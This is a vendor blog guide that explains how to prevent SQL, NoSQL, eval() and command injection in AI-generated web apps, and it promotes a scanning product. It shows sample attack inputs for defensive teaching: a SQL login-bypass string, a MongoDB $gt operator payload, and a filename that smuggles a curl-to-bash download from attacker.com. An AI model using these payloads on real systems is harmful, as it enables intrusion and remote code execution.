Code Injection Prevention: SQL Injection, eval(), and Command Injection in AI Apps

Quick answer: Prevent code injection by never mixing untrusted input with interpreters. Use parameterized queries or ORMs to block SQL injection, cast NoSQL inputs to strings to prevent operator injection, and replace eval() with safe parsers like mathjs. These vulnerabilities appear in 30% of AI-built apps scanned by SimplyScan.

By Gabriel CA · Kraftwire Software

· 13 min read

Code injection prevention is achieved by strictly separating untrusted user data from code interpreters. To stop SQL injection, you must use parameterized queries or Object-Relational Mappers (ORMs) like Prisma. For NoSQL databases, cast all inputs to explicit types (e.g., String()) to block operator injection. To prevent Remote Code Execution (RCE), replace dangerous functions like eval() and new Function() with secure, sandboxed parsers like mathjs. Finally, mitigate command injection by using execFile instead of exec to ensure shell metacharacters are treated as literal text rather than executable instructions.

What Is an Injection Attack?

Injection attacks occur when an application sends untrusted data to an interpreter as part of a command or query. According to research from BrightSec, code injection involves an attacker introducing malicious code that the application then interprets or executes, directly affecting the program's performance and function. The interpreter, unable to distinguish between the developer's intended logic and the attacker's malicious payload, executes the data as code. This can lead to unauthorized data access, complete database deletion, or full server takeover.

In the era of vibe-coding, where developers use AI models like Claude, GPT-4o, or tools like Lovable and Bolt.new to generate entire features, injection risks have surged. AI models prioritize "making it work" over security best practices. They frequently suggest eval() for dynamic logic or string concatenation for database queries because these are the simplest paths to a functional demo.

In SimplyScan's scans of 170 AI-built apps, the average security score was 85 out of 100. Code injection patterns are a primary contributor to these high-risk findings. While a score of 85 might seem acceptable, the presence of a single injection flaw renders the entire score irrelevant by granting an attacker full control.

What Is SQL Injection and How Do You Prevent It?

SQL Injection (SQLi) remains one of the most prevalent and damaging forms of injection. It occurs when user-supplied data is concatenated directly into a SQL string. As noted by StackHawk, the rapid rise of AI coding practices makes automated security testing essential to catch these common web application threats.

How SQL Injection Works in AI-Generated Code

An AI might generate a login check like this:

If an attacker enters ' OR 1=1 -- into the email field, the resulting SQL becomes:

The -- sequence comments out the rest of the query. Since 1=1 is always true, the database returns the first user in the table (usually the admin), bypassing authentication entirely without a password.

The Impact of SQLi

Beyond authentication bypass, SQLi allows attackers to:

  • Exfiltrate Data: Use UNION SELECT statements to pull data from other tables, such as secrets or billing_info.
  • Modify Records: Inject UPDATE statements to change user roles or account balances.
  • Destroy Infrastructure: Execute DROP TABLE to delete the entire database.
  • OS Interaction: On misconfigured servers, attackers can use xp_cmdshell (SQL Server) or COPY TO PROGRAM (PostgreSQL) to run shell commands on the underlying host.

Fix: Use Parameterized Queries (Prepared Statements)

The only robust way to prevent SQLi is to separate the query structure from the data.

When using modern stacks like Supabase, the client library handles this for you:

Why this works: The database engine receives the query template and the data in two separate packets. It compiles the SQL first and then treats the data strictly as a literal value. Even if the data contains SQL commands, they are never executed.

What Is NoSQL Injection and How Do You Prevent It?

Many developers believe that moving to NoSQL databases like MongoDB eliminates injection risks. This is a dangerous misconception. While NoSQL doesn't use SQL syntax, it is vulnerable to Operator Injection.

How NoSQL Injection Works

If your AI-generated Express backend passes req.body directly into a query, it is vulnerable:

An attacker can send a JSON object instead of a string: { "username": {"$gt": ""}, "password": {"$gt": ""} }. The query then searches for a user where the username is "greater than" an empty string and the password is "greater than" an empty string. This matches the first user in the database.

Fix: Type Casting and Schema Validation

  • Explicit Casting: Always force input to the expected type.
  • Use Zod for Validation: Define a strict schema for every request.
  • Use Explicit Operators: Instead of passing the object directly, use the $eq operator.

For a deeper dive, see our MongoDB Security Guide.

Why eval() and the Function() Constructor Are Dangerous

The eval() function and the new Function() constructor are the "nuclear options" of JavaScript. They take a string and execute it as code within the current execution context.

The AI Temptation

AI tools often suggest eval() when you ask for dynamic features, such as:

  • A custom calculator where users type math formulas.
  • A dynamic filtering system where users define logic.
  • A template engine that executes logic inside strings.

The Risk: Remote Code Execution (RCE)

If an attacker can reach an eval() call, they can:

  • Access process.env to steal your STRIPE_SECRET_KEY or DATABASE_URL.
  • Use the fs module to read /etc/passwd or your source code.
  • Initiate a reverse shell to gain persistent access to your server.

Fix: Use Safe Parsers

Never use eval(). Use a library designed for the specific task:

  • For Math: Use mathjs. It parses mathematical expressions into an Abstract Syntax Tree (AST) and evaluates them without ever touching the JavaScript engine's execution context.
  • For Logic: Use a library like json-logic-js to allow users to define safe, predefined logic rules.
  • For Dynamic Access: Use bracket notation with an allowlist.

What Is Command Injection and How Do You Prevent It?

Command injection occurs when an application passes unsanitized user input to a system shell. This usually happens when the app needs to interact with the OS, such as resizing an image with ImageMagick or sending an email via a CLI tool.

The Vulnerability

If a user provides the filename file.txt; curl http://attacker.com/shell.sh | bash, the server will delete the file and then download and execute a malicious script.

Fix: Use execFile Instead of exec

The exec function spawns a shell (like /bin/sh or cmd.exe) and runs the string inside it. The execFile function, however, executes a specific binary directly.

In the execFile version, the semicolon and the subsequent commands are treated as a single, literal filename. The OS will simply try to find a file named file.txt; curl... and fail, rather than executing the injected command.

Hapi.js and Python Injection Prevention

Injection is not limited to Node.js. Different frameworks require specific defensive patterns.

Hapi.js Injection Prevention

In Hapi.js, use the Joi validation library to sanitize all incoming payloads. Hapi is designed to be "configuration over code," and its built-in validation is the first line of defense against injection.

  • Use request.payload only after it has passed through a Joi schema.
  • Avoid using server.inject with user-controlled strings in production.
  • For more details, see our Hapi.js injection prevention guide.

Python Injection Prevention

Python developers often face SQL injection when using raw cursor.execute().

  • Safe: cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  • Unsafe: cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

For command injection in Python, use the subprocess module with shell=False. This prevents the shell from interpreting special characters in the arguments.

Advanced Injection Prevention Checklist

To ensure your AI-built application is secure, follow this rigorous checklist:

  • Parameterized Queries: Never use template literals (` ``) to build queries.
  • Input Validation: Implement a "deny-by-default" strategy. Use Zod to validate that every API input matches the expected type, length, and format.
  • Serialization: Avoid unsafe deserialization. If you are using JSON.parse(), ensure the resulting object is validated before use.
  • Environment: Run your application with the "Principle of Least Privilege." The database user should only have access to the tables it needs, and the web server should not have root access.
  • Headers: Implement a strong Content Security Policy (CSP) to mitigate the impact of any successful injection. Use our CSP Guide for details.
  • Scanning: Automated tools are essential for catching what AI models miss. SimplyScan detects eval(), Function(), and raw SQL concatenation in seconds.

How AI-Specific Risks Complicate Prevention

AI models are trained on vast amounts of legacy code, much of which was written before modern security standards were established. When you ask an AI to "write a script to query my database," it may pull from older patterns that use string concatenation.

Furthermore, "vibe-coding" often leads to a lack of architectural oversight. These flaws · such as mixing frontend and backend logic or failing to implement a proper API layer · create more surface area for injection attacks.

Prompt Injection and API Key Leaks

A unique risk in AI apps is prompt injection. As Atlan research explains, a prompt injection attack manipulates an AI agent by embedding malicious instructions into its input, overriding its original goals. This can lead to the AI leaking sensitive information, such as API keys stored in its system prompt or environment variables.

If you are building with Cursor or Windsurf, you must manually prompt the AI to "use parameterized queries and strict type validation" to override its default tendency toward simplicity.

Speed, Revenue, and Security

Security is not just about protection; it is about performance. There is a direct correlation between app performance and business success: speed equals revenue.

When you implement heavy security middleware or inefficient validation logic, you might inadvertently slow down your app. However, using native database parameterization and compiled validation schemas (like ajv or zod) provides both security and high performance. A secure app that is also fast ensures that users stay on the platform and complete transactions. See our performance security guide for more on balancing these needs.

Answer Engine Optimization (AEO) for AI Apps

As AI-built apps proliferate, ensuring they are discoverable by AI search engines (like Perplexity or ChatGPT Search) is critical. This is known as AEO. If your site has security vulnerabilities like code injection, AI agents may flag it as "unsafe" and refuse to recommend it to users.

To rank well in AI search, your site must demonstrate high trust signals. This includes:

  • Security Headers: Proper CSP and HSTS.
  • Accessibility: Meeting WCAG standards.
  • Domain Health: Valid SPF/DKIM/DMARC records.

SimplyScan's free scan grades these dimensions, helping you improve both security and AI visibility in one pass.

How Do You Scan for Injection Risks?

Manual code review is slow and prone to human error, especially when dealing with thousands of lines of AI-generated code. SimplyScan provides a specialized security scanner designed for the unique risks of vibe-coded apps.

Our scanner runs 51+ automated checks across 8 dimensions in approximately 30 seconds. It specifically looks for:

  • Exposed API Keys: Often leaked when AI suggests hardcoding secrets.
  • Missing Supabase RLS: A common cause of data exposure in AI apps.
  • Injection Patterns: Detecting eval(), exec(), and unsafe SQL patterns.

The free scan includes 2 rescans and a summary of high-severity risks.

Scan your app for injection risks now

Related Guides

faq:

  • q: Does using an ORM like Prisma or Drizzle protect me from SQL injection?

a: Yes, generally. ORMs and query builders use parameterized queries by default, ensuring the database treats user input as data rather than executable code. However, the protection is lost if you use "raw" query features or string concatenation within the ORM. Always use the ORM's built-in filtering methods or pass values as separate arguments to ensure safety.

  • q: Why does AI-generated code frequently include injection vulnerabilities?

a: AI models like Claude and GPT-4o are optimized for functional correctness and simplicity rather than security. They often suggest the shortest path to a working solution, which frequently involves unsafe string concatenation or the use of eval().

  • q: Is SQL injection still a relevant threat for modern web applications?

a: Absolutely. Despite being a known issue for decades, SQL injection remains a top threat. Large-scale breaches are still caused by injection flaws. In modern AI-driven development, the risk is resurfacing because developers are generating code at a speed that outpaces manual security reviews, leading to the reintroduction of legacy vulnerabilities in "vibe-coded" projects.

  • q: How does NoSQL injection differ from traditional SQL injection?

a: While SQL injection targets the query language syntax, NoSQL injection (specifically in databases like MongoDB) targets query operators. If an application passes a raw JSON object from a request into a query, an attacker can use operators like $gt (greater than) or $ne (not equal) to bypass authentication or extract data without ever writing a line of SQL.

  • q: What are the safest alternatives to using eval() for dynamic logic?

a: You should never use eval() for user-supplied input. For mathematical expressions, use a dedicated parser like mathjs. For dynamic object property access, use bracket notation combined with a strict allowlist of permitted keys. For complex logic, use a safe logic engine like json-logic-js. These tools evaluate input without granting access to the JavaScript execution environment.

  • q: How can I automatically detect injection risks in my AI-built app?

a: Use a specialized scanner like SimplyScan. It performs 51+ automated checks in 30 seconds to identify dangerous functions like eval(), unsafe SQL concatenation, and command injection patterns.

excerpt: Prevent code injection by never mixing untrusted input with interpreters. Use parameterized queries or ORMs to block SQL injection, cast NoSQL inputs to strings to prevent operator injection, and replace eval() with safe parsers like mathjs.

meta_description: Learn how to prevent SQL, NoSQL, and Command injection in AI-built apps. Fix eval() risks and secure your code with SimplyScan's expert guide.

meta_title: Code Injection Prevention Guide for AI Apps · SimplyScan

title: Code Injection Prevention: SQL Injection, eval(), and Command Injection in AI Apps

Frequently asked questions

Does using an ORM like Prisma or Drizzle protect me from SQL injection?

Yes, generally. ORMs and query builders use parameterized queries by default, ensuring the database treats user input as data rather than executable code. However, the protection is lost if you use "raw" query features or string concatenation within the ORM. Always use the ORM's built-in filtering methods or pass values as separate arguments to ensure safety.

Why does AI-generated code frequently include injection vulnerabilities?

AI models like Claude and GPT-4o are optimized for functional correctness and simplicity rather than security. They often suggest the shortest path to a working solution, which frequently involves unsafe string concatenation or the use of eval(). In SimplyScan's database of 170 AI-built apps, 30% had high or critical severity issues, many stemming from these patterns.

Is SQL injection still a relevant threat for modern web applications?

Absolutely. Despite being a known issue for decades, SQL injection remains a top threat. Large-scale breaches are still caused by injection flaws. In modern AI-driven development, the risk is resurfacing because developers are generating code at a speed that outpaces manual security reviews, leading to the reintroduction of legacy vulnerabilities in "vibe-coded" projects.

How does NoSQL injection differ from traditional SQL injection?

While SQL injection targets the query language syntax, NoSQL injection (specifically in databases like MongoDB) targets query operators. If an application passes a raw JSON object from a request into a query, an attacker can use operators like $gt (greater than) or $ne (not equal) to bypass authentication or extract data without ever writing a line of SQL.

What are the safest alternatives to using eval() for dynamic logic?

You should never use eval() for user-supplied input. For mathematical expressions, use a dedicated parser like mathjs. For dynamic object property access, use bracket notation combined with a strict allowlist of permitted keys. For complex logic, use a safe logic engine like json-logic-js. These tools evaluate input without granting access to the JavaScript execution environment.

How can I automatically detect injection risks in my AI-built app?

Use a specialized scanner like SimplyScan. It performs 51+ automated checks in 30 seconds to identify dangerous functions like eval(), unsafe SQL concatenation, and command injection patterns. Regular scanning is vital for AI apps, as 10% of scanned apps show high-severity security issues that could lead to full system compromise if left unpatched.

Related guides

  • Hapi.js Injection Prevention: Secure Your Backend Against Attacks · To prevent injection in Hapi.js, you must use Joi for strict input validation and employ parameterized queries for database interactions. By enforcing schemas on payloads and query parameters, Hapi.js blocks malicious data before it reaches your logic, effectively mitigating SQL, NoSQL, and command injection risks in Node.js backends.
  • Prompt Engineering for Security: How to Make AI Website Builders Write Safer Code · Secure your AI website builder projects by using prompt engineering to enforce Row Level Security, strict security headers, and environment variable safety. SimplyScan's data shows 30% of AI-built apps have high-severity issues; proactive prompting and regular scanning are essential to protect your data and maintain high performance in 2026.
  • Security Guide for No-Code Apps: Bubble, WeWeb, FlutterFlow & Xano · No-code apps on Bubble, WeWeb, FlutterFlow, and Xano are only as secure as their configuration. Security features are opt-in, not automatic. You must enforce data access rules at the backend, keep API keys server-side, restrict CORS, and never rely on client-side visibility for data protection.
  • AI API Security · Protecting LLM-Powered Apps, Keys, and Endpoints · AI API security involves protecting LLM keys (OpenAI, Anthropic) and hardening the endpoints you build. To secure your app, keep keys server-side in a proxy, implement per-user rate limits to prevent "denial of wallet" attacks, and sanitize all model outputs to block XSS and prompt injection.

All security guides · Free security tools · Platform scanners · Security checklist